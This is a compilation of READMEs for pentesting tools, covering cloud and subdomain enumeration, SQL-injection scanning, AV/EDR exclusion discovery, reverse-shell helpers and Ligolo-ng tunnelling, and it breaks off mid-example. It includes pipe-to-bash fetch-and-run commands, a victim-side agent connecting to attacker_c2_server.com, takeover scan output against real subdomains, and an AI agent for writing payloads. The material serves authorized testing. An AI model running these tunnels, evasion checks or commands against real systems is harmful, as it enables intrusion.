CloudBrute - Awesome Cloud Enumerator

A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). The outcome is useful for bug bounty hunters, red teamers, and penetration testers alike.

The complete writeup is available. here

Motivation

we are always thinking of something we can automate to make black-box security testing easier. We discussed this idea of creating a multiple platform cloud brute-force hunter.mainly to find open buckets, apps, and databases hosted on the clouds and possibly app behind proxy servers.
Here is the list issues on previous approaches we tried to fix:

• separated wordlists
• lack of proper concurrency
• lack of supporting all major cloud providers
• require authentication or keys or cloud CLI access
• outdated endpoints and regions
• Incorrect file storage detection
• lack support for proxies (useful for bypassing region restrictions)
• lack support for user agent randomization (useful for bypassing rare restrictions)
• hard to use, poorly configured

Features

• Cloud detection (IPINFO API and Source Code)
• Supports all major providers
• Black-Box (unauthenticated)
• Fast (concurrent)
• Modular and easily customizable
• Cross Platform (windows, linux, mac)
• User-Agent Randomization
• Proxy Randomization (HTTP, Socks5)

Supported Cloud Providers

Microsoft: - Storage - Apps

Amazon: - Storage - Apps

Google: - Storage - Apps

DigitalOcean: - storage

Vultr: - Storage

Linode: - Storage

Alibaba: - Storage

Version

1.0.0

Usage

Just download the latest release for your operation system and follow the usage.

To make the best use of this tool, you have to understand how to configure it correctly. When you open your downloaded version, there is a config folder, and there is a config.YAML file in there.

It looks like this

providers: ["amazon","alibaba","amazon","microsoft","digitalocean","linode","vultr","google"] # supported providers
environments: [ "test", "dev", "prod", "stage" , "staging" , "bak" ] # used for mutations
proxytype: "http"  # socks5 / http
ipinfo: ""      # IPINFO.io API KEY

For IPINFO API, you can register and get a free key at IPINFO, the environments used to generate URLs, such as test-keyword.target.region and test.keyword.target.region, etc.

We provided some wordlist out of the box, but it's better to customize and minimize your wordlists (based on your recon) before executing the tool.

After setting up your API key, you are ready to use CloudBrute.

 ██████╗██╗      ██████╗ ██╗   ██╗██████╗ ██████╗ ██████╗ ██╗   ██╗████████╗███████╗
██╔════╝██║     ██╔═══██╗██║   ██║██╔══██╗██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝
██║     ██║     ██║   ██║██║   ██║██║  ██║██████╔╝██████╔╝██║   ██║   ██║   █████╗  
██║     ██║     ██║   ██║██║   ██║██║  ██║██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝  
╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗
 ╚═════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝
                                                V 1.0.7
usage: CloudBrute [-h|--help] -d|--domain "<value>" -k|--keyword "<value>"
                  -w|--wordlist "<value>" [-c|--cloud "<value>"] [-t|--threads
                  <integer>] [-T|--timeout <integer>] [-p|--proxy "<value>"]
                  [-a|--randomagent "<value>"] [-D|--debug] [-q|--quite]
                  [-m|--mode "<value>"] [-o|--output "<value>"]
                  [-C|--configFolder "<value>"]

                  Awesome Cloud Enumerator

Arguments:

  -h  --help          Print help information
  -d  --domain        domain
  -k  --keyword       keyword used to generator urls
  -w  --wordlist      path to wordlist
  -c  --cloud         force a search, check config.yaml providers list
  -t  --threads       number of threads. Default: 80
  -T  --timeout       timeout per request in seconds. Default: 10
  -p  --proxy         use proxy list
  -a  --randomagent   user agent randomization
  -D  --debug         show debug logs. Default: false
  -q  --quite         suppress all output. Default: false
  -m  --mode          storage or app. Default: storage
  -o  --output        Output file. Default: out.txt
  -C  --configFolder  Config path. Default: config

for example

CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

please note -k keyword used to generate URLs, so if you want the full domain to be part of mutation, you have used it for both domain (-d) and keyword (-k) arguments

If a cloud provider not detected or want force searching on a specific provider, you can use -c option.

CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

Dev

• Clone the repo
• go build -o CloudBrute main.go
• go test internal

in action

Domainim - A Fast And Comprehensive Tool For Organizational Network Scanning

Domainim is a fast domain reconnaissance tool for organizational network scanning. The tool aims to provide a brief overview of an organization's structure using techniques like OSINT, bruteforcing, DNS resolving etc.

Features

Current features (v1.0.1)- - Subdomain enumeration (2 engines + bruteforcing) - User-friendly output - Resolving A records (IPv4)

• Virtual hostname enumeration
• Reverse DNS lookup

• Detects wildcard subdomains (for bruteforcing)

• Basic TCP port scanning
• Subdomains are accepted as input

• Export results to JSON file

A few features are work in progress. See Planned features for more details.

The project is inspired by Sublist3r. The port scanner module is heavily based on NimScan.

Installation

You can build this repo from source- - Clone the repository

git clone git@github.com:pptx704/domainim

• Build the binary

nimble build

• Run the binary

./domainim <domain> [--ports=<ports>]

Or, you can just download the binary from the release page. Keep in mind that the binary is tested on Debian based systems only.

Usage

./domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]

• <domain> is the domain to be enumerated. It can be a subdomain as well.
• -- ports | -p is a string speicification of the ports to be scanned. It can be one of the following-
• all - Scan all ports (1-65535)
• none - Skip port scanning (default)
• t<n> - Scan top n ports (same as nmap). i.e. t100 scans top 100 ports. Max value is 5000. If n is greater than 5000, it will be set to 5000.
• single value - Scan a single port. i.e. 80 scans port 80
• range value - Scan a range of ports. i.e. 80-100 scans ports 80 to 100
• comma separated values - Scan multiple ports. i.e. 80,443,8080 scans ports 80, 443 and 8080
• combination - Scan a combination of the above. i.e. 80,443,8080-8090,t500 scans ports 80, 443, 8080 to 8090 and top 500 ports
• --dns | -d is the address of the dns server. This should be a valid IPv4 address and can optionally contain the port number-
• a.b.c.d - Use DNS server at a.b.c.d on port 53
• a.b.c.d#n - Use DNS server at a.b.c.d on port e
• --wordlist | -l - Path to the wordlist file. This is used for bruteforcing subdomains. If the file is invalid, bruteforcing will be skipped. You can get a wordlist from SecLists. A wordlist is also provided in the release page.
• --rps | -r - Number of requests to be made per second during bruteforce. The default value is 1024 req/s. It is to be noted that, DNS queries are made in batches and next batch is made only after the previous one is completed. Since quries can be rate limited, increasing the value does not always guarantee faster results.
• --out | -o - Path to the output file. The output will be saved in JSON format. The filename must end with .json.

Examples - ./domainim nmap.org --ports=all - ./domainim google.com --ports=none --dns=8.8.8.8#53 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --rps=1500 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --outfile=results.json - ./domainim mysite.com --ports=t50,5432,7000-9000 --dns=1.1.1.1

The help menu can be accessed using ./domainim --help or ./domainim -h.

Usage:
    domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
    domainim (-h | --help)

Options:
    -h, --help              Show this screen.
    -p, --ports             Ports to scan. [default: `none`]
                            Can be `all`, `none`, `t<n>`, single value, range value, combination
    -l, --wordlist          Wordlist for subdomain bruteforcing. Bruteforcing is skipped for invalid file.
    -d, --dns               IP and Port for DNS Resolver. Should be a valid IPv4 with an optional port [default: system default]
    -r, --rps               DNS queries to be made per second [default: 1024 req/s]
    -o, --out               JSON file where the output will be saved. Filename must end with `.json`

Examples:
    domainim domainim.com -p:t500 -l:wordlist.txt --dns:1.1.1.1#53 --out=results.json
    domainim sub.domainim.com --ports=all --dns:8.8.8.8 -t:1500 -o:results.json

The JSON schema for the results is as follows-

[
  {
    "subdomain": string,
    "data": [
      "ipv4": string,
      "vhosts": [string],
      "reverse_dns": string,
      "ports": [int]
    ]
  }
]

Example json for nmap.org can be found here.

Contributing

Contributions are welcome. Feel free to open a pull request or an issue.

Planned Features

• [x] TCP port scanning
• [ ] UDP port scanning support
• [ ] Resolve AAAA records (IPv6)
• [x] Custom DNS server
• [x] Add bruteforcing subdomains using a wordlist
• [ ] Force bruteforcing (even if wildcard subdomain is found)
• [ ] Add more engines for subdomain enumeration
• [x] File output (JSON)
• [ ] Multiple domain enumeration
• [ ] Dir and File busting

Others

• [x] Update verbose output when encountering errors (v0.2.0)
• [x] Show progress bar for longer operations
• [ ] Add individual port scan progress bar
• [ ] Add tests
• [ ] Add comments and docstrings

Additional Notes

This project is still in its early stages. There are several limitations I am aware of.

The two engines I am using (I'm calling them engine because Sublist3r does so) currently have some sort of response limit. dnsdumpster.com">dnsdumpster can fetch upto 100 subdomains. crt.sh also randomizes the results in case of too many results. Another issue with crt.sh is the fact that it returns some SQL error sometimes. So for some domain, results can be different for different runs. I am planning to add more engines in the future (at least a brute force engine).

The port scanner has only ping response time + 750ms timeout. This might lead to false negatives. Since, domainim is not meant for port scanning but to provide a quick overview, such cases are acceptable. However, I am planning to add a flag to increase the timeout. For the same reason, filtered ports are not shown. For more comprehensive port scanning, I recommend using Nmap. Domainim also doesn't bypass rate limiting (if there is any).

It might seem that the way vhostnames are printed, it just brings repeition on the table.

Printing as the following might've been better-

ack.nmap.org, issues.nmap.org, nmap.org, research.nmap.org, scannme.nmap.org, svn.nmap.org, www.nmap.org
  ↳ 45.33.49.119
    ↳ Reverse DNS: ack.nmap.org. 

But previously while testing, I found cases where not all IPs are shared by same set of vhostnames. That is why I decided to keep it this way.

DNS server might have some sort of rate limiting. That's why I added random delays (between 0-300ms) for IPv4 resolving per query. This is to not make the DNS server get all the queries at once but rather in a more natural way. For bruteforcing method, the value is between 0-1000ms by default but that can be changed using --rps | -t flag.

One particular limitation that is bugging me is that the DNS resolver would not return all the IPs for a domain. So it is necessary to make multiple queries to get all (or most) of the IPs. But then again, it is not possible to know how many IPs are there for a domain. I still have to come up with a solution for this. Also, nim-ndns doesn't support CNAME records. So, if a domain has a CNAME record, it will not be resolved. I am waiting for a response from the author for this.

For now, bruteforcing is skipped if a possible wildcard subdomain is found. This is because, if a domain has a wildcard subdomain, bruteforcing will resolve IPv4 for all possible subdomains. However, this will skip valid subdomains also (i.e. scanme.nmap.org will be skipped even though it's not a wildcard value). I will add a --force-brute | -fb flag later to force bruteforcing.

Similar thing is true for VHost enumeration for subdomain inputs. Since, urls that ends with given subdomains are returned, subdomains of similar domains are not considered. For example, scannme.nmap.org will not be printed for ack.nmap.org but something.ack.nmap.org might be. I can search for all subdomains of nmap.org but that defeats the purpose of having a subdomains as an input.

License

MIT License. See LICENSE for full text.

Linux-Smart-Enumeration - Linux Enumeration Tool For Pentesting And CTFs With Verbosity Levels

wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh

curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh

Use: ./lse.sh [options]

 OPTIONS
  -c           Disable color
  -i           Non interactive mode
  -h           This help
  -l LEVEL     Output verbosity level
                 0: Show highly important results. (default)
                 1: Show interesting results.
                 2: Show all gathered information.
  -s SELECTION Comma separated list of sections or tests to run. Available
               sections:
                 usr: User related tests.
                 sud: Sudo related tests.
                 fst: File system related tests.
                 sys: System related tests.
                 sec: Security measures related tests.
                 ret: Recurren tasks (cron, timers) related tests.
                 net: Network related tests.
                 srv: Services related tests.
                 pro: Processes related tests.
                 sof: Software related tests.
                 ctn: Container (docker, lxc) related tests.
                 cve: CVE related tests.
               Specific tests can be used with their IDs (i.e.: usr020,sud)
  -e PATHS     Comma separated list of paths to exclude. This allows you
               to do faster scans at the cost of completeness
  -p SECONDS   Time that the process monitor will spend watching for
               processes. A value of 0 will disable any watch (default: 60)
  -S           Serve the lse.sh script in this host so it can be retrieved
               from a remote host.

bash <(wget -q -O - "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l2 -i

bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i

Subhunter - A Fast Subdomain Takeover Tool

Subdomain takeover is a common vulnerability that allows an attacker to gain control over a subdomain of a target domain and redirect users intended for an organization's domain to a website that performs malicious activities, such as phishing campaigns, stealing user cookies, etc. It occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a CNAME in the DNS, but no host is providing content for it. Subhunter takes a given list of Subdomains" title="Subdomains">subdomains and scans them to check this vulnerability.

Features:

• Auto update
• Uses random user agents
• Built in Go
• Uses a fork of fingerprint data from well known sources (can-i-take-over-xyz)

Installation:

Option 1:

Download from releases

Option 2:

Build from source:

$ git clone https://github.com/Nemesis0U/Subhunter.git
$ go build subhunter.go

Usage:

Options:

Usage of subhunter:
  -l string
        File including a list of hosts to scan
  -o string
        File to save results
  -t int
        Number of threads for scanning (default 50)
  -timeout int
        Timeout in seconds (default 20)

Demo (Added fake fingerprint for POC):

./Subhunter -l subdomains.txt -o test.txt

  ____            _       _                       _
 / ___|   _   _  | |__   | |__    _   _   _ __   | |_    ___   _ __
 \___ \  | | | | | '_ \  | '_ \  | | | | | '_ \  | __|  / _ \ | '__|
  ___) | | |_| | | |_) | | | | | | |_| | | | | | | |_  |  __/ | |
 |____/   \__,_| |_.__/  |_| |_|  \__,_| |_| |_|  \__|  \___| |_|


A fast subdomain takeover tool

Created by Nemesis

Loaded 88 fingerprints for current scan

-----------------------------------------------------------------------------

[+] Nothing found at www.ubereats.com: Not Vulnerable
[+] Nothing found at testauth.ubereats.com: Not Vulnerable
[+] Nothing found at apple-maps-app-clip.ubereats.com: Not Vulnerable
[+] Nothing found at about.ubereats.com: Not Vulnerable
[+] Nothing found at beta.ubereats.com: Not Vulnerable
[+] Nothing found at ewp.ubereats.com: Not Vulnerable
[+] Nothi   ng found at edgetest.ubereats.com: Not Vulnerable
[+] Nothing found at guest.ubereats.com: Not Vulnerable
[+] Google Cloud: Possible takeover found at testauth.ubereats.com: Vulnerable
[+] Nothing found at info.ubereats.com: Not Vulnerable
[+] Nothing found at learn.ubereats.com: Not Vulnerable
[+] Nothing found at merchants.ubereats.com: Not Vulnerable
[+] Nothing found at guest-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchant-help.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-staging.ubereats.com: Not Vulnerable
[+] Nothing found at messages.ubereats.com: Not Vulnerable
[+] Nothing found at order.ubereats.com: Not Vulnerable
[+] Nothing found at restaurants.ubereats.com: Not Vulnerable
[+] Nothing found at payments.ubereats.com: Not Vulnerable
[+] Nothing found at static.ubereats.com: Not Vulnerable

Subhunter exiting...
   Results written to test.txt

SQLMC - Check All Urls Of A Domain For SQL Injections

SQLMC (SQL Injection Massive Checker) is a tool designed to scan a domain for SQL injection vulnerabilities. It crawls the given URL up to a specified depth, checks each link for SQL injection vulnerabilities, and reports its findings.

Features

• Scans a domain for SQL injection vulnerabilities
• Crawls the given URL up to a specified depth
• Checks each link for SQL injection vulnerabilities
• Reports vulnerabilities along with server information and depth

Installation

1. Install the required dependencies: bash pip3 install sqlmc

Usage

Run sqlmc with the following command-line arguments:

• -u, --url: The URL to scan (required)
• -d, --depth: The depth to scan (required)
• -o, --output: The output file to save the results

Example usage:

sqlmc -u http://example.com -d 2

Replace http://example.com with the URL you want to scan and 3 with the desired depth of the scan. You can also specify an output file using the -o or --output flag followed by the desired filename.

The tool will then perform the scan and display the results.

ToDo

• Check for multiple GET params
• Better injection checker trigger methods

Credits

• Developed by Miguel Álvarez

License

This project is licensed under the GNU Affero General Public License v3.0.

BadExclusionsNWBO - An Evolution From BadExclusions To Identify Folder Custom Or Undocumented Exclusions On AV/EDR

BadExclusionsNWBO is an evolution from BadExclusions to identify folder custom or undocumented exclusions on AV/EDR.

How it works?

BadExclusionsNWBO copies and runs Hook_Checker.exe in all folders and subfolders of a given path. You need to have Hook_Checker.exe on the same folder of BadExclusionsNWBO.exe.

Hook_Checker.exe returns the number of EDR hooks. If the number of hooks is 7 or less means folder has an exclusion otherwise the folder is not excluded.

Original idea?

Since the release of BadExclusions I've been thinking on how to achieve the same results without creating that many noise. The solution came from another tool, https://github.com/asaurusrex/Probatorum-EDR-Userland-Hook-Checker.

If you download Probatorum-EDR-Userland-Hook-Checker and you run it inside a regular folder and on folder with an specific type of exclusion you will notice a huge difference. All the information is on the Probatorum repository.

Requirements

Each vendor apply exclusions on a different way. In order to get the list of folder exclusions an specific type of exclusion should be made. Not all types of exclusion and not all the vendors remove the hooks when they exclude a folder.

The user who runs BadExclusionsNWBO needs write permissions on the excluded folder in order to write Hook_Checker file and get the results.

EDR Demo

https://github.com/iamagarre/BadExclusionsNWBO/assets/89855208/46982975-f4a5-4894-b78d-8d6ed9b1c8c4

Pentera's 2024 Report Reveals Hundreds of Security Events per Week, Highlighting the Criticality of Continuous Validation

Pentest-Muse-Cli - AI Assistant Tailored For Cybersecurity Professionals

Pentest Muse is an AI assistant tailored for cybersecurity professionals. It can help penetration testers brainstorm ideas, write payloads, analyze code, and perform reconnaissance. It can also take actions, execute command line codes, and iteratively solve complex tasks.

Pentest Muse Web App

In addition to this command-line tool, we are excited to introduce the Pentest Muse Web Application! The web app has access to the latest online information, and would be a good AI assistant for your pentesting job.

Disclaimer

This tool is intended for legal and ethical use only. It should only be used for authorized security testing and educational purposes. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

Requirements

• Python 3.12 or later
• Necessary Python packages as listed in requirements.txt

Setup

Standard Setup

1. Clone the repository:

git clone https://github.com/pentestmuse-ai/PentestMuse cd PentestMuse

1. Install the required packages:

pip install -r requirements.txt

Alternative Setup (Package Installation)

Install Pentest Muse as a Python Package:

pip install .

Running the Application

Chat Mode (Default)

In the chat mode, you can chat with pentest muse and ask it to help you brainstorm ideas, write payloads, and analyze code. Run the application with:

python run_app.py

or

pmuse

Agent Mode (Experimental)

You can also give Pentest Muse more control by asking it to take actions for you with the agent mode. In this mode, Pentest Muse can help you finish a simple task (e.g., 'help me do sql injection test on url xxx'). To start the program with agent model, you can use:

python run_app.py agent

or

pmuse agent

Selection of Language Models

Managed APIs

You can use Pentest Muse with our managed APIs after signing up at www.pentestmuse.ai/signup. After creating an account, you can simply start the pentest muse cli, and the program will prompt you to login.

OpenAI API keys

Alternatively, you can also choose to use your own OpenAI API keys. To do this, you can simply add argument --openai-api-key=[your openai api key] when starting the program.

Contact

For any feedback or suggestions regarding Pentest Muse, feel free to reach out to us at contact@pentestmuse.ai or join our discord. Your input is invaluable in helping us improve and evolve.

Kali Linux 2024.1 - Penetration Testing and Ethical Hacking Linux Distribution

Secbutler - The Perfect Butler For Pentesters, Bug-Bounty Hunters And Security Researchers

Essential utilities for pentester, bug-bounty hunters and security researchers

secbutler is a utility tool made for pentesters, bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing cybersecurity activities (like installing sec-related tools, retrieving commands for revshells, serving common payloads, obtaining a working proxy, managing wordlists and so forth).

The goal is to obtain a tool that meets the requirements of the community, therefore suggestions and PRs are very welcome!

• Generate a reverse shell command
• Obtain proxy
• Download & deploy common payloads
• Obtain reverse shell listener command
• Generate bash install script for common tools
• Generate bash download script for Wordlists
• Read common cheatsheets and payloads

secbutler -h

This will display the help for the tool

                   __          __  __
   ________  _____/ /_  __  __/ /_/ /__  _____
  / ___/ _ \/ ___/ __ \/ / / / __/ / _ \/ ___/
 (__  )  __/ /__/ /_/ / /_/ / /_/ /  __/ /
/____/\___/\___/_.___/\__,_/\__/_/\___/_/

v0.1.9 - https://github.com/groundsec/secbutler

Essential utilities for pentester, bug-bounty hunters and security researchers

Usage:
  secbutler [flags]
  secbutler [command]

Available Commands:
cheatsheet  Read common cheatsheets & payloads
  help        Help about any command
  listener    Obtain the command to start a reverse shell listener
  payloads    Obtain and serve common payloads
  proxy       Obtain a random proxy from FreeProxy
  revshell    Obtain the command for a reverse shell
  tools       Generate a install script for the most common cybersecurity tools
  version     Print the current version
  wordlists   Generate a download script for the most common wordlists

Flags:
  -h, --help   help for secbutler

Use "secbutler [command] --help" for more information about a command.

Run the following command to install the latest version:

go install github.com/groundsec/secbutler@latest

Or you can simply grab an executable from the Releases page.

secbutler is made with 🖤 by the GroundSec team and released under the MIT LICENSE.

Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Features

• Tun interface (No more SOCKS!)
• Simple UI with agent selection and network information
• Easy to use and setup
• Automatic certificate configuration with Let's Encrypt
• Performant (Multiplexing)
• Does not require high privileges
• Socket listening/binding on the agent
• Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

• SYN are translated to connect() on remote
• SYN-ACK is sent back if connect() succeed
• RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
• Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                            │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬─────   ───────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────&   #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

Demo

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

• TCP
• UDP
• ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.   00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

• Implement other ICMP error messages (this will speed up UDP scans) ;
• Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
• Add mTLS support.

Credits

• Nicolas Chatelain <nicolas -at- chatelain.me>

Rayder - A Lightweight Tool For Orchestrating And Organizing Your Bug Hunting Recon / Pentesting Command-Line Workflows

Rayder is a command-line tool designed to simplify the orchestration and execution of workflows. It allows you to define a series of modules in a YAML file, each consisting of commands to be executed. Rayder helps you automate complex processes, making it easy to streamline repetitive modules and execute them parallelly if the commands do not depend on each other.

Installation

To install Rayder, ensure you have Go (1.16 or higher) installed on your system. Then, run the following command:

go install github.com/devanshbatham/rayder@v0.0.4

Usage

Rayder offers a straightforward way to execute workflows defined in YAML files. Use the following command:

rayder -w path/to/workflow.yaml

Workflow Configuration

A workflow is defined in a YAML file with the following structure:

vars:
  VAR_NAME: value
  # Add more variables...

parallel: true|false
modules:
  - name: task-name
    cmds:
      - command-1
      - command-2
      # Add more commands...
    silent: true|false
  # Add more modules...

Using Variables in Workflows

Rayder allows you to use variables in your workflow configuration, making it easy to parameterize your commands and achieve more flexibility. You can define variables in the vars section of your workflow YAML file. These variables can then be referenced within your command strings using double curly braces ({{}}).

Defining Variables

To define variables, add them to the vars section of your workflow YAML file:

vars:
  VAR_NAME: value
  ANOTHER_VAR: another_value
  # Add more variables...

Referencing Variables in Commands

You can reference variables within your command strings using double curly braces ({{}}). For example, if you defined a variable OUTPUT_DIR, you can use it like this:

modules:
  - name: example-task
    cmds:
      - echo "Output directory {{OUTPUT_DIR}}"

Supplying Variables via the Command Line

You can also supply values for variables via the command line when executing your workflow. Use the format VARIABLE_NAME=value to provide values for specific variables. For example:

rayder -w path/to/workflow.yaml VAR_NAME=new_value ANOTHER_VAR=updated_value

If you don't provide values for variables via the command line, Rayder will automatically apply default values defined in the vars section of your workflow YAML file.

Remember that variables supplied via the command line will override the default values defined in the YAML configuration.

Example

Example 1:

Here's an example of how you can define, reference, and supply variables in your workflow configuration:

vars:
  ORG: "example.org"
  OUTPUT_DIR: "results"

modules:
  - name: example-task
    cmds:
      - echo "Organization {{ORG}}"
      - echo "Output directory {{OUTPUT_DIR}}"

When executing the workflow, you can provide values for ORG and OUTPUT_DIR via the command line like this:

rayder -w path/to/workflow.yaml ORG=custom_org OUTPUT_DIR=custom_results_dir

This will override the default values and use the provided values for these variables.

Example 2:

Here's an example workflow configuration tailored for reverse whois recon and processing the root domains into subdomains, resolving them and checking which ones are alive:

vars:
  ORG: "Acme, Inc"
  OUTPUT_DIR: "results-dir"

parallel: false
modules:
  - name: reverse-whois
    silent: false
    cmds:
      - mkdir -p {{OUTPUT_DIR}}
